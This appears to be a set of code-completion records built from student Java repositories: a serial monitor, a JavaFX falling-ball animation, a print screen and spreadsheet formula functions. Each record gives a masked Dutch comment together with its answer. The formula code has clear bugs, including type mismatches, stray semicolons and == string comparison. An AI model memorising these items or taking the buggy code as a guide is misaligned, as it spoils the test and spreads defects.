styleRange.foreground = this.colorRegistry.get(this.serialColorID[style]);
this.monitorOutput.setStyleRange(styleRange);
if (!this.scrollLock.isChecked()) {
this.monitorOutput.setSelection(this.monitorOutput.getCharCount());
}
}
/**
* method to make sure the visualization is correct
*/
void SerialPortsUpdated() {
this.disconnect.setEnabled(this.serialConnections.size() != 0);
Serial curSelection = GetSelectedSerial();
this.serialPorts.setInput(this.serialConnections);
if (this.serialConnections.size() == 0) {
this.send.setEnabled(false);
this.reset.setEnabled(false);
} else {
if (this.serialPorts.getSelection().isEmpty()) // nothing is
// selected
{
if (curSelection == null) // nothing was selected
{
curSelection = (Serial) this.serialConnections.keySet().toArray()[0];
}
this.serialPorts.getCombo().setText(curSelection.toString());
ComboSerialChanged();
}
}
}
/**
* Connect to a serial port and sets the listener
*
* @param comPort
* the name of the com port to connect to
* @param baudRate
* the baud rate to connect to the com port
*/
public void connectSerial(String comPort, int baudRate) {
if (this.serialConnections.size() < MY_MAX_SERIAL_PORTS) {
int colorindex = this.serialConnections.size();
Serial newSerial = new Serial(comPort, baudRate);
if (newSerial.IsConnected()) {
newSerial.registerService();
SerialListener theListener = new SerialListener(this, colorindex);
newSerial.addListener(theListener);
theListener.event(System.getProperty("line.separator") + Messages.serialMonitorConnectedTo + comPort //$NON-NLS-1$
+ Messages.serialMonitorAt + baudRate + System.getProperty("line.separator")); //$NON-NLS-1$
this.serialConnections.put(newSerial, theListener);
SerialPortsUpdated();
return;
}
} else {
Activator.log(new Status(IStatus.ERROR, Activator.getId(), Messages.serialMonitorNoMoreSerialPortsSupported,
null));
}
}
public void disConnectSerialPort(String comPort) {
Serial newSerial = GetSerial(comPort);
if (newSerial != null) {
SerialListener theListener = SerialMonitor.this.serialConnections.get(newSerial);
SerialMonitor.this.serialConnections.remove(newSerial);
newSerial.removeListener(theListener);
newSerial.dispose();
theListener.dispose();
SerialPortsUpdated();
}
}
/**
*
*/
public void ComboSerialChanged() {
this.send.setEnabled(this.serialPorts.toString().length() > 0);
this.reset.setEnabled(this.serialPorts.toString().length() > 0);
this.parent.getShell().setDefaultButton(this.send);
}
/**
* PauzePort is called when the monitor needs to disconnect from a port for
* a short while. For instance when a upload is started to a com port the
* serial monitor will get a pauzeport for this com port. When the upload is
* done ResumePort will be called
*/
@Override
public boolean PauzePort(String portName) {
Serial theSerial = GetSerial(portName);
if (theSerial != null) {
theSerial.disconnect();
return true;
}
return false;
}
/**
* see PauzePort
<SUF>*/
@Override
public void ResumePort(String portName) {
Serial theSerial = GetSerial(portName);
if (theSerial != null) {
if (MyPreferences.getCleanSerialMonitorAfterUpload()) {
Display.getDefault().asyncExec(new Runnable() {
@Override
public void run() {
SerialMonitor.this.monitorOutput.setText(""); //$NON-NLS-1$
}
});
}
theSerial.connect(15);
}
}
}
|
73625_17 | import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.event.EventHandler;
import javafx.scene.input.ScrollEvent;
import javafx.util.Duration;
public class BalController implements Runnable{
private Bal bal;
private BalView balView;
private ControlePaneelNoord noordpaneel;
private Timeline animation;
private boolean doorgaan_thread = true;
private double dt;
private double valhoogte;
private Thread draad;
public BalController(Bal bal, BalView balview, ValBewegingPaneel valBewegingPaneel,
ControlePaneelNoord noordpaneel) {
//constructor van balcontroller
this.bal = bal;
this.balView = balview;
this.noordpaneel = noordpaneel;
}
/**
* Invoked when the mouse wheel is rotated.
*
* @param e
* @see MouseWheelEvent
*/
@SuppressWarnings({ "deprecation", "static-access" })
@Override public void run() {
//runnable voor de thread draad. Wordt gebruikt om de y as
//positie te monitoren en zet de animatie stop zodra de y as over de gezete y waarde in noordpane is (default 100)
while (doorgaan_thread) {
if(this.bal.getY() < valhoogte) {
//doe niets, hou de thread actief
try {
draad.sleep(20);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
else{
//Y is groter dan valhoogte, dus stop de animatie
this.animation.stop();
draad.stop();
}
}
}
public EventHandler<ScrollEvent> getOnScrollEventHandler()
{
System.out.println("hey");
return onScrollEventHandler;
}
private EventHandler<ScrollEvent> onScrollEventHandler = new EventHandler<ScrollEvent>() {
@Override
public void handle(ScrollEvent event) {
bal.setY(bal.getY()+1);
event.consume();
}
};
public void pleaseStart() {
//start functie gelinkt aan de animatie button
//reset de bal zodat de animatie altijd op y = 0 begint
this.bal.reset();
//delta tijd is de invoer van noordpaneel delta tijd (default 20)
this.dt = this.noordpaneel.getDt();
//valhoogte is de invoer van noordpaneel ybereik (default 100)
this.valhoogte = this.noordpaneel.getYbereik();
//maak de animatie aan & laat deze bal.adjust() uitvoeren met een update voor de view voor oneidige periode
animation = new Timeline();
animation.setCycleCount(Timeline.INDEFINITE);
final KeyFrame kf = new KeyFrame(Duration.millis(this.dt), e -> this.bal.adjust(this.dt));
final KeyFrame kf2 = new KeyFrame(Duration.millis(this.dt), e -> this.balView.adjustBal());
animation.getKeyFrames().addAll(kf,kf2);
//start de animatie
animation.play();
//zet de buttons op disable zodat de waardes niet meer kunnen worden gewijzigd
this.noordpaneel.setDisable(true);
//maak de controle thread aan
draad = new Thread(this);
//daemon op true zodat de thread stopt bij het sluiten van de applicatie
draad.setDaemon(true);
draad.start();
}
@SuppressWarnings("deprecation")
public void pleaseStop() {
//stop functie gelinkt aan de stop button
this.noordpaneel.setDisable(false);
//me stop de animatie en kill de thread
this.animation.stop();
draad.stop();
}
}
| mvankampen/FreeFall | src/BalController.java | 1,108 | //me stop de animatie en kill de thread | line_comment | nl | import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.event.EventHandler;
import javafx.scene.input.ScrollEvent;
import javafx.util.Duration;
public class BalController implements Runnable{
private Bal bal;
private BalView balView;
private ControlePaneelNoord noordpaneel;
private Timeline animation;
private boolean doorgaan_thread = true;
private double dt;
private double valhoogte;
private Thread draad;
public BalController(Bal bal, BalView balview, ValBewegingPaneel valBewegingPaneel,
ControlePaneelNoord noordpaneel) {
//constructor van balcontroller
this.bal = bal;
this.balView = balview;
this.noordpaneel = noordpaneel;
}
/**
* Invoked when the mouse wheel is rotated.
*
* @param e
* @see MouseWheelEvent
*/
@SuppressWarnings({ "deprecation", "static-access" })
@Override public void run() {
//runnable voor de thread draad. Wordt gebruikt om de y as
//positie te monitoren en zet de animatie stop zodra de y as over de gezete y waarde in noordpane is (default 100)
while (doorgaan_thread) {
if(this.bal.getY() < valhoogte) {
//doe niets, hou de thread actief
try {
draad.sleep(20);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
else{
//Y is groter dan valhoogte, dus stop de animatie
this.animation.stop();
draad.stop();
}
}
}
public EventHandler<ScrollEvent> getOnScrollEventHandler()
{
System.out.println("hey");
return onScrollEventHandler;
}
private EventHandler<ScrollEvent> onScrollEventHandler = new EventHandler<ScrollEvent>() {
@Override
public void handle(ScrollEvent event) {
bal.setY(bal.getY()+1);
event.consume();
}
};
public void pleaseStart() {
//start functie gelinkt aan de animatie button
//reset de bal zodat de animatie altijd op y = 0 begint
this.bal.reset();
//delta tijd is de invoer van noordpaneel delta tijd (default 20)
this.dt = this.noordpaneel.getDt();
//valhoogte is de invoer van noordpaneel ybereik (default 100)
this.valhoogte = this.noordpaneel.getYbereik();
//maak de animatie aan & laat deze bal.adjust() uitvoeren met een update voor de view voor oneidige periode
animation = new Timeline();
animation.setCycleCount(Timeline.INDEFINITE);
final KeyFrame kf = new KeyFrame(Duration.millis(this.dt), e -> this.bal.adjust(this.dt));
final KeyFrame kf2 = new KeyFrame(Duration.millis(this.dt), e -> this.balView.adjustBal());
animation.getKeyFrames().addAll(kf,kf2);
//start de animatie
animation.play();
//zet de buttons op disable zodat de waardes niet meer kunnen worden gewijzigd
this.noordpaneel.setDisable(true);
//maak de controle thread aan
draad = new Thread(this);
//daemon op true zodat de thread stopt bij het sluiten van de applicatie
draad.setDaemon(true);
draad.start();
}
@SuppressWarnings("deprecation")
public void pleaseStop() {
//stop functie gelinkt aan de stop button
this.noordpaneel.setDisable(false);
//me stop<SUF>
this.animation.stop();
draad.stop();
}
}
|
73547_3 | import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.util.Duration;
/**
* Created by michael on 01-11-15.
*/
public class BalController implements Runnable {
private Bal bal;
private BalView balView;
private ControlePaneelNoord noordpaneel;
private Timeline animation;
private boolean doorgaan_thread;
private boolean doorgaan_wheel;
private double dt;
private double valhoogte;
private Thread draad;
public BalController(Bal bal, BalView balView, ValBewegingPaneel valBewegingPaneel,
ControlePaneelNoord noordpaneel) {
this.bal = bal;
this.balView = balView;
this.noordpaneel = noordpaneel;
doorgaan_thread = false;
doorgaan_wheel = false;
this.dt = noordpaneel.getDtVeld();
this.valhoogte = noordpaneel.getBereikYveld();
}
public void pleaseStart() {
//start functie gelinkt aan de animatie button
//reset de bal zodat de animatie altijd op y = 0 begint
this.bal.reset();
//delta tijd is de invoer van noordpaneel delta tijd (default 20)
this.dt = this.noordpaneel.getDtVeld();
//valhoogte is de invoer van noordpaneel ybereik (default 100)
this.valhoogte = this.noordpaneel.getBereikYveld();
//maak de animatie aan & laat deze bal.adjust() uitvoeren met een update voor de view voor oneidige periode
animation = new Timeline();
animation.setCycleCount(Timeline.INDEFINITE);
final KeyFrame kf = new KeyFrame(Duration.millis(this.dt), e -> this.bal.adjust(this.dt));
final KeyFrame kf2 = new KeyFrame(Duration.millis(this.dt), e -> this.balView.adjustBal());
animation.getKeyFrames().addAll(kf,kf2);
//start de animatie
animation.play();
//zet de buttons op disable zodat de waardes niet meer kunnen worden gewijzigd
this.noordpaneel.setDisable(true);
//maak de controle thread aan
draad = new Thread(this);
//daemon op true zodat de thread stopt bij het sluiten van de applicatie
draad.setDaemon(true);
draad.start();
}
public void pleaseStop() {
//stop functie gelinkt aan de stop button
this.noordpaneel.setDisable(false);
//me stop de animatie en kill de thread
this.animation.stop();
draad.stop();
}
/**
* When an object implementing interface <code>Runnable</code> is used
* to create a thread, starting the thread causes the object's
* <code>run</code> method to be called in that separately executing
* thread.
* <p>
* The general contract of the method <code>run</code> is that it may
* take any action whatsoever.
*
* @see Thread#run()
*/
@Override public void run() {
//runnable voor de thread draad. Wordt gebruikt om de y as
//positie te monitoren en zet de animatie stop zodra de y as over de gezete y waarde in noordpane is (default 100)
while (doorgaan_thread) {
if(this.bal.getY() < valhoogte) {
//doe niets, hou de thread actief
try {
draad.sleep(20);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
else{
//Y is groter dan valhoogte, dus stop de animatie
this.animation.stop();
draad.stop();
}
}
}
}
| mvankampen/FreeFall_MVC | src/BalController.java | 1,069 | //delta tijd is de invoer van noordpaneel delta tijd (default 20) | line_comment | nl | import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.util.Duration;
/**
* Created by michael on 01-11-15.
*/
public class BalController implements Runnable {
private Bal bal;
private BalView balView;
private ControlePaneelNoord noordpaneel;
private Timeline animation;
private boolean doorgaan_thread;
private boolean doorgaan_wheel;
private double dt;
private double valhoogte;
private Thread draad;
public BalController(Bal bal, BalView balView, ValBewegingPaneel valBewegingPaneel,
ControlePaneelNoord noordpaneel) {
this.bal = bal;
this.balView = balView;
this.noordpaneel = noordpaneel;
doorgaan_thread = false;
doorgaan_wheel = false;
this.dt = noordpaneel.getDtVeld();
this.valhoogte = noordpaneel.getBereikYveld();
}
public void pleaseStart() {
//start functie gelinkt aan de animatie button
//reset de bal zodat de animatie altijd op y = 0 begint
this.bal.reset();
//delta tijd<SUF>
this.dt = this.noordpaneel.getDtVeld();
//valhoogte is de invoer van noordpaneel ybereik (default 100)
this.valhoogte = this.noordpaneel.getBereikYveld();
//maak de animatie aan & laat deze bal.adjust() uitvoeren met een update voor de view voor oneidige periode
animation = new Timeline();
animation.setCycleCount(Timeline.INDEFINITE);
final KeyFrame kf = new KeyFrame(Duration.millis(this.dt), e -> this.bal.adjust(this.dt));
final KeyFrame kf2 = new KeyFrame(Duration.millis(this.dt), e -> this.balView.adjustBal());
animation.getKeyFrames().addAll(kf,kf2);
//start de animatie
animation.play();
//zet de buttons op disable zodat de waardes niet meer kunnen worden gewijzigd
this.noordpaneel.setDisable(true);
//maak de controle thread aan
draad = new Thread(this);
//daemon op true zodat de thread stopt bij het sluiten van de applicatie
draad.setDaemon(true);
draad.start();
}
public void pleaseStop() {
//stop functie gelinkt aan de stop button
this.noordpaneel.setDisable(false);
//me stop de animatie en kill de thread
this.animation.stop();
draad.stop();
}
/**
* When an object implementing interface <code>Runnable</code> is used
* to create a thread, starting the thread causes the object's
* <code>run</code> method to be called in that separately executing
* thread.
* <p>
* The general contract of the method <code>run</code> is that it may
* take any action whatsoever.
*
* @see Thread#run()
*/
@Override public void run() {
//runnable voor de thread draad. Wordt gebruikt om de y as
//positie te monitoren en zet de animatie stop zodra de y as over de gezete y waarde in noordpane is (default 100)
while (doorgaan_thread) {
if(this.bal.getY() < valhoogte) {
//doe niets, hou de thread actief
try {
draad.sleep(20);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
else{
//Y is groter dan valhoogte, dus stop de animatie
this.animation.stop();
draad.stop();
}
}
}
}
|
17287_9 | package views;
import controllers.ScreensController;
import interfaces.ControlledScreen;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.HBox;
import javafx.scene.layout.VBox;
/**
* <p>This screen is a AnchorPane and uses ControlledScreen as navigation manager
* Shows the content that is needed for the user to print the orderlists.
* uses {@link orderListPrintController} as controller<p>
*
* @author Sander
*/
public class OrderListPrintView extends AnchorPane implements ControlledScreen {
@FXML Label introLabel, exampleLabel, listLabel, amountLabel;
@FXML Button printButton;
@FXML ComboBox listItems;
@FXML TextArea listArea;
@FXML TextField txtFileName;
/**
* <p> Used for registering itself in the hashMap of the ScreensController
* to enable navigation </p>
*
* @param screensController screencontroller that it registers itself in
*/
public void setScreenController(ScreensController screensController) {
}
/**
* Constructor
*/
public OrderListPrintView() {
createView();
setUpContentPane();
}
/**
* <p> adds the style class and sets the fixed height to the screen </p>
*/
private void createView() {
getStyleClass().add("background");
setMinSize(1200, 800);
}
/**
* <p> sets up the main screen, this will be seen by the user </p>
*/
public void setUpContentPane() {
// creating the gridpane, this is where all the displayed content goes
GridPane contentPane = new GridPane();
contentPane.setLayoutX(100);
contentPane.setLayoutY(200);
/* Creating all vboxes that are used to organize the sectors used in the
* contentPane
*/
HBox introBox = new HBox();
VBox vertBox1 = new VBox();
vertBox1.setSpacing(20);
VBox vertBox2 = new VBox(10);
vertBox2.setPadding(new Insets(0, 0, 0, 40));
VBox buttonBox = new VBox();
/*
* this label is used to work around setting a placeholder for a
* tableView
*/
introLabel =
new Label("Hier kunt u de gepersonaliseerde bestellijsten uitprinten voor de klanten.");
//exampleLabel = new Label("Print voorbeeld:");
//amountLabel = new Label("Aantal bestellijsten die geprint\nzullen worden: 10");
//listLabel = new Label("Selecteer welke bestellijst u wilt uitprinten:");
// creating the buttons and setting their properties
printButton = new Button("Printen");
printButton.getStyleClass().add("form_buttons");
Label lblFileName = new Label("Bestandsnaam");
txtFileName = new TextField();
//listItems = new ComboBox();
//listArea = new TextArea();
//Add all items to their corresponding containers
buttonBox.getChildren().addAll(lblFileName, txtFileName, printButton);
buttonBox.setAlignment(Pos.BASELINE_LEFT);
vertBox2.setAlignment(Pos.CENTER);
introBox.getChildren().add(introLabel);
contentPane.add(introBox, 0, 0);
contentPane.add(buttonBox, 0, 1);
contentPane.add(vertBox2, 1, 1);
//contentPane.add(buttonBox, 1, 2);
getChildren().addAll(contentPane);
}
/**
* @return the printButton
*/
public Button getPrintButton() {
return this.printButton;
}
/**
* @return the txtFileName
*/
public TextField getTxtFileName() {
return this.txtFileName;
}
}
| mvankampen/Wijnfestijn | src/views/OrderListPrintView.java | 1,073 | //amountLabel = new Label("Aantal bestellijsten die geprint\nzullen worden: 10"); | line_comment | nl | package views;
import controllers.ScreensController;
import interfaces.ControlledScreen;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.HBox;
import javafx.scene.layout.VBox;
/**
* <p>This screen is a AnchorPane and uses ControlledScreen as navigation manager
* Shows the content that is needed for the user to print the orderlists.
* uses {@link orderListPrintController} as controller<p>
*
* @author Sander
*/
public class OrderListPrintView extends AnchorPane implements ControlledScreen {
@FXML Label introLabel, exampleLabel, listLabel, amountLabel;
@FXML Button printButton;
@FXML ComboBox listItems;
@FXML TextArea listArea;
@FXML TextField txtFileName;
/**
* <p> Used for registering itself in the hashMap of the ScreensController
* to enable navigation </p>
*
* @param screensController screencontroller that it registers itself in
*/
public void setScreenController(ScreensController screensController) {
}
/**
* Constructor
*/
public OrderListPrintView() {
createView();
setUpContentPane();
}
/**
* <p> adds the style class and sets the fixed height to the screen </p>
*/
private void createView() {
getStyleClass().add("background");
setMinSize(1200, 800);
}
/**
* <p> sets up the main screen, this will be seen by the user </p>
*/
public void setUpContentPane() {
// creating the gridpane, this is where all the displayed content goes
GridPane contentPane = new GridPane();
contentPane.setLayoutX(100);
contentPane.setLayoutY(200);
/* Creating all vboxes that are used to organize the sectors used in the
* contentPane
*/
HBox introBox = new HBox();
VBox vertBox1 = new VBox();
vertBox1.setSpacing(20);
VBox vertBox2 = new VBox(10);
vertBox2.setPadding(new Insets(0, 0, 0, 40));
VBox buttonBox = new VBox();
/*
* this label is used to work around setting a placeholder for a
* tableView
*/
introLabel =
new Label("Hier kunt u de gepersonaliseerde bestellijsten uitprinten voor de klanten.");
//exampleLabel = new Label("Print voorbeeld:");
//amountLabel =<SUF>
//listLabel = new Label("Selecteer welke bestellijst u wilt uitprinten:");
// creating the buttons and setting their properties
printButton = new Button("Printen");
printButton.getStyleClass().add("form_buttons");
Label lblFileName = new Label("Bestandsnaam");
txtFileName = new TextField();
//listItems = new ComboBox();
//listArea = new TextArea();
//Add all items to their corresponding containers
buttonBox.getChildren().addAll(lblFileName, txtFileName, printButton);
buttonBox.setAlignment(Pos.BASELINE_LEFT);
vertBox2.setAlignment(Pos.CENTER);
introBox.getChildren().add(introLabel);
contentPane.add(introBox, 0, 0);
contentPane.add(buttonBox, 0, 1);
contentPane.add(vertBox2, 1, 1);
//contentPane.add(buttonBox, 1, 2);
getChildren().addAll(contentPane);
}
/**
* @return the printButton
*/
public Button getPrintButton() {
return this.printButton;
}
/**
* @return the txtFileName
*/
public TextField getTxtFileName() {
return this.txtFileName;
}
}
|
26150_11 | import java.util.*;
public class Formulas {
public static String AVERAGE(String in)
{
ArrayList<Cell> range = debrij(in);
double getal = 0;
String s;
try
{
int c = 0;
for(int i = 0; i < range.size(); i++)
{
getal = getal + Double.parseDouble(range.get(0).getContent());
c++;
}
getal = getal / c;
}
catch(NumberFormatException e)
{
System.out.println("De ingegeven String is geen getal.");
}
s = getal + " ";
return s;
}
public String INT(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");
}
int i = 0;
try
{
Scanner sc = new Scanner(range.get(0).getContent()).useDelimiter(",");
i = sc.nextInt();
}
catch(NumberFormatException e)
{
return "De ingegeven waarde is geen getal";
}
String s = i + " ";
return s;
}
public String ISNUMBER(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1)
{
return "false";
}
try
{
double getal = Double.parseDouble(range.get(0).getContent());
}
catch(NumberFormatException e)
{
return "false";
}
return "true";
}
public String ISEVEN(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1)
{
return "false";
}
try
{
double getal = Double.parseDouble(range.get(0).getContent());
if(getal%2 == 1){
return "false";
}
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
return "true";
}
public String ISLOGICAL(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
return "false";
}
if(range.get(0).getContent() == "true" || range.get(0).getContent() == "false"){
return "true";
}
else{
return "false";
}
}
public String max(String in)
{
ArrayList<Cell> range = debrij(in);
double max = Double.MIN_VALUE;
double contestor = 0;
if(range.size() == 0) return "null";
try{
max = Double.parseDouble(range.get(1).getContent());
} catch(Exception e){
return "#VALUE";
}
for(Cell c : range){
try{
contestor = Double.parseDouble(c.getContent());
} catch (Exception e){
return "#VALUE";
}
if (contestor > max) {
max = contestor;
}
}
return Double.toString(max);
}
//returns the cell containing the largest number
public String MAX(String in) throws Exception{
ArrayList<Cell> cl = debrij(in);
Cell maxCell = cl.get(0);
for(int i = 0; i < cl.size(); i++){
//check if cell contains only a number
if(!cl.get(i).getContent().matches("\\d+")){
throw new Exception("Error: can only compare numbers");
}
//check if cell is greater than current biggest cell, if so, make cell current biggest cell
if(Double.parseDouble(cl.get(i).getContent()) > Double.parseDouble(maxCell.getContent())){
maxCell = cl.get(i);
}
}
return maxCell.getContent();
}
//returns the cell containing the smallest number
public String MIN(String in) throws Exception{
ArrayList<Cell> cl = debrij(in);
Cell minCell = cl.get(0);
for(int i = 0; i < cl.size(); i++){
//check if cell contains only a number
if(!cl.get(i).getContent().matches("\\d+")){
throw new Exception("Error: can only compare numbers");
}
//check if cell is smaller than current smallest cell, if so, make cell current smallest cell
if(Double.parseDouble(cl.get(i).getContent()) < Double.parseDouble(minCell.getContent())){
minCell = cl.get(i);
}
}
return minCell.getContent();
}
//returns the cell containing the median of all input cells
public String MEDIAN(String in) throws Exception{
ArrayList<Cell> cl = debrij(in);
int halfOfCells = 0;
//check if all input cells are valid numbers
for(int i = 0; i < cl.size(); i++){
if(!cl.get(i).getContent().matches("\\d+")){
throw new Exception("Error: can only use numbers");
}
}
//check if even or odd number of cells,
//if even, take mean of middle two values
if(cl.size() % 2 == 0){
halfOfCells = (int)Math.floor(cl.size() / 2);
int leftCellValue = Integer.parseInt(cl.get(halfOfCells).getContent());
int rightCellValue = Integer.parseInt(cl.get(halfOfCells + 1).getContent());
int mean = (leftCellValue + rightCellValue) / 2;
String retString = "" + mean;
return retString;
}
//if odd, return middle value
if(cl.size() % 2 != 0){
halfOfCells = (int)Math.ceil(cl.size() / 2);
return cl.get(halfOfCells).getContent();
}
return null;
}
public String NOT(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");;
}
if(range.get(0).getContent() == "true" || range.get(0).getContent() == "false"){
return "true";
}
else{
return "false";
}
}
public String COUNT(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
int c = 0;
for(int i = 0; i < range.size(); i++)
{
for (int j = 0; j < 10; j++)
{
if(range.get(i).getContent().charAt(j)+"" == "\\d+")
c++;
}
}
result = c + " ";
return result;
}
public String COUNTA(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
int c = 0;
for(int i = 0; i < range.size(); i++)
{
Scanner sc = new Scanner(range.get(i).getContent());
if(sc.hasNext())
c++;
}
result = c + " ";
return result;
}
public String COUNTIF(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
int c = 0;
for(int i = 0; i < range.size(); i++)
{
Scanner sc = new Scanner(range.get(i).getContent());
if(sc.hasNext())
c++;
}
result = c + " ";
return result;
}
public String PROPER(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
for(int i = 0; i < range.size(); i++){
String[] words = range.get(i).getContent().split(" ");
for (int j = 0; j < words.length; j++)
{
result = result + words[j].replace(words[j].charAt(0)+"", Character.toUpperCase(words[j].charAt(0))+"") + " ";
}
}
return result;
}
public String SIGN(String in)
{
ArrayList<Cell> range = debrij(in);
int k = 0;
String result = "";
for(int i = 0; i < range.size(); i++){
if(Double.parseDouble(range.get(i).getContent()) > 0);
k = 1;
if(Double.parseDouble(range.get(i).getContent()) < 0);
k = -1;
if(Double.parseDouble(range.get(i).getContent()) == 0);
k = 0;
}
result = k + " ";
return result;
}
public String IF(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
return "false";
}
if(range.get(0).getContent() == "true" || range.get(0).getContent() == "false"){
return "true";
}
else{
return "false";
}
}
public String LOWER(String in)
{
ArrayList<Cell> range = debrij(in);
String s = "";
for(int i = 0; i < range.size(); i++){
s = s + Character.toLowerCase(range.get(0).getContent().charAt(i));
}
return s;
}
public String ROUNDDOWN(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");
}
int i = 0;
try
{
Scanner sc = new Scanner(range.get(0).getContent()).useDelimiter(",");
i = sc.nextInt();
}
catch(NumberFormatException e)
{
return "De ingegeven waarde is geen getal";
}
String s = i + " ";
return s;
}
public String ROUNDUP(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");
}
int i = 0;
try
{
Scanner sc = new Scanner(range.get(0).getContent()).useDelimiter(",");
i = sc.nextInt();
i++;
}
catch(NumberFormatException e)
{
return "De ingegeven waarde is geen getal";
}
String s = i + " ";
return s;
}
public String SQRT(String in)
{
double d = 0;
String result = "";
try{
ArrayList<Cell> range = debrij(in);
double getal = Double.parseDouble(range.get(0).getContent());
d = Math.sqrt(getal);
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
result = d + " ";
return result;
}
public String POWER(String in)
{
double d = 0;
String result = "";
try{
ArrayList<Cell> range = debrij(in);
double getal = Double.parseDouble(range.get(0).getContent());
double macht = Double.parseDouble(range.get(1).getContent());
d = Math.pow(getal, macht);
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
result = d + " ";
return result;
}
public String MOD(String in)
{
double d = 0;
String result = "";
try{
ArrayList<Cell> range = debrij(in);
double getal = Double.parseDouble(range.get(0).getContent());
double deler = Double.parseDouble(range.get(1).getContent());
d = getal % deler;
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
result = d + " ";
return result;
}
public String PRODUCT(String in)
{
ArrayList<Cell> range = debrij(in);
String result = "";
double getal = 1;
for(int i = 0; i < range.size(); i++)
{
try{
getal = getal * Double.parseDouble(range.get(0).getContent());
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
}
result = getal + " ";
return result;
}
public ArrayList<String> debrij(String in){
Scanner sc = new Scanner(in);
sc.useDelimiter(";");
ArrayList<String> a1 = new ArrayList<String>();
while (sc.hasNext())
{
a1.add(sc.next());
}
sc.close();
ArrayList<String> allString = new ArrayList<String>();
for (String a : a1){
Scanner sc2 = new Scanner(a);
sc2.useDelimiter(":");
//TODO Zorgen dat het een vierkant wordt.
while(sc2.hasNext()){
allString.add(sc2.next());
}
sc2.close();
}
ArrayList<String> ret = new ArrayList<String>();
for (String a : allString){
Coordinates coor;
try {
coor = new Coordinates(a);
String contents = Spreadsheet.getContents(coor.getRow(), coor.getColumn());
ret.add(contents);
} catch (Exception e) {
e.printStackTrace();
}
}
return ret;
}
}
| mvanspaendonck/workspace | Formulas/src/Formulas.java | 3,895 | //TODO Zorgen dat het een vierkant wordt. | line_comment | nl | import java.util.*;
public class Formulas {
public static String AVERAGE(String in)
{
ArrayList<Cell> range = debrij(in);
double getal = 0;
String s;
try
{
int c = 0;
for(int i = 0; i < range.size(); i++)
{
getal = getal + Double.parseDouble(range.get(0).getContent());
c++;
}
getal = getal / c;
}
catch(NumberFormatException e)
{
System.out.println("De ingegeven String is geen getal.");
}
s = getal + " ";
return s;
}
public String INT(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
System.out.println("Geef 1 Cell in!");
}
int i = 0;
try
{
Scanner sc = new Scanner(range.get(0).getContent()).useDelimiter(",");
i = sc.nextInt();
}
catch(NumberFormatException e)
{
return "De ingegeven waarde is geen getal";
}
String s = i + " ";
return s;
}
public String ISNUMBER(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1)
{
return "false";
}
try
{
double getal = Double.parseDouble(range.get(0).getContent());
}
catch(NumberFormatException e)
{
return "false";
}
return "true";
}
public String ISEVEN(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1)
{
return "false";
}
try
{
double getal = Double.parseDouble(range.get(0).getContent());
if(getal%2 == 1){
return "false";
}
}
catch(NumberFormatException e)
{
System.out.println("# VALUE");
}
return "true";
}
public String ISLOGICAL(String in)
{
ArrayList<Cell> range = debrij(in);
if(range.size() != 1){
return "false";
}
if(range.get(0).getContent() == "true" || range.get(0).getContent() == "false"){
return "true";
}
else{
return "false";
}
}
public String max(String in)
{
ArrayList<Cell> range = debrij(in);
double max = Double.MIN_VALUE;
double contestor = 0;
if(range.size() == 0) return "null";
try{
max = Double.parseDouble(range.get(1).getContent());
} catch(Exception e){
return "#VALUE";
}
for(Cell c : range){
try{
contestor = Double.parseDouble(c.getContent());
} catch (Exception e){
return "#VALUE";
}
if (contestor > max) {
max = contestor;
}
}
return Double.toString(max);
}
//returns the cell containing the largest number
public String MAX(String in) throws Exception{
ArrayList<Cell> cl = debrij(in);
Cell maxCell = cl.get(0);
for(int i = 0; i < cl.size(); i++){
//check if cell contains only a number
if(!cl.get(i).getContent().matches("\\d+")){
throw new Exception("Error: can only compare numbers");
}
//check if cell is greater than current biggest cell, if so, make cell current biggest cell
if(Double.parseDouble(cl.get(i).getContent()) > Double.parseDouble(maxCell.getContent())){
maxCell = cl.get(i);
}
}
return maxCell.getContent();
}
//returns the cell containing the smallest number
public String MIN(String in) throws Exception{
ArrayList<Cell> cl = debrij(in);
Cell minCell = cl.get(0);
for(int i = 0; i < cl.size(); i++){
//check if cell contains only a number
if(!cl.get(i).getContent().matches("\\d+")){
throw new Exception("Error: can only compare numbers");
}
//check if cell is smaller than current smallest cell, if so, make cell current smallest cell
